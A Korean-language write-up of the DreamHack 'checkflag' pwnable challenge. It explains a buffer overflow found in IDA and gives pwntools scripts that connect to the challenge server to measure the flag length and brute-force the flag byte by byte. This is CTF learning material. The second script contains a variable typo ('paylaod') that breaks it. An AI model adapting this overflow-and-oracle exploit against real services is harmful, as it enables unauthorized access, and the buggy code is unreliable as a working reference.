본문 바로가기

CTF/Pwnable

[DreamHack] checkflag Write-up

코드분석 

IDA로 열어보자 

  • v5가 flag값을 받으면 그 값을 v6에 옮기고 fgets함수를 통해 그 값을 v11에 넘긴다
  • what's the flag 문구 뒤 read함수를 통해 v10은 0xc8만큼 입력 받음 => BOF
  • v11이 v7보다 크고 v10과 v11의 문자열이 같게 되면 correct!가 출력되고 그렇지 않으면 failed가 출력된다
  • v10과 v11은 0x40만큼 떨어져있음  

정리하면 BOF를 통해 v11을 덮으면서 v10의 값을 조금씩 변화시키면 flag값을 유추할 수 있음 

 

익스플로잇

flag의 길이를 먼저 알아보자 

from pwn import*

for i in range(63):
    print(i)
    p = remote("host3.dreamhack.games", 11565)
    payload = b'A'*(63-i)+b'\x00'+b'A'*i+b'A'*(63-i)
    p.sendafter("What's the flag? ", payload)
    msg = p.recvline()
    if b'Correct' in msg:
        print("pass")
    else:
        print("not pass")
    p.close()

v10과 v11을 A로 덮는데 A의 길이를 점점 줄이면 v11은 flag값이 나온다

failed가 나오게 되면 flag의 길이를 구할 수 있게 된다

48번째부터 not pass 나옴 => 플래그의 길이는 16

 

익스플로잇코드를 짜자

from pwn import*
flag = b''

for i in range(16):
    for j in range(0x20, 0x7f):
        # p = process("./checkflag")
        p = remote("host3.dreamhack.games", 11565)
        
        payload = b'A'*(15-i)
        payload += bytes([j])
        paylaod += flag
        payload += b'\x00' * (0x40 - len(payload))
        payload += b'A'*(15-i)
        p.sendafter("What's the flag? ", payload)
        
        if b'Correct' in p.recvline():
            flag = bytes([j])+flag
            print(flag)
            p.close()
            break
        else:
            p.close()

 

flag에서 16번째 글자를 구하고 싶으면 v11,v10모두 15번째글자까지는 A로 채우고 v10의 16번째 값을  0x20 ~ 0x7e랑 비교한다 

correct가 나오면 16번째 문자를 구한 것 !

 

그 다음 15번째 문자를 구하려면 14번째글자까지 A로 채우고  v10의 15번째 문자에도  0x20~ 0x7e의 ascii code를 넣어서 비교한다 

flag가 나온다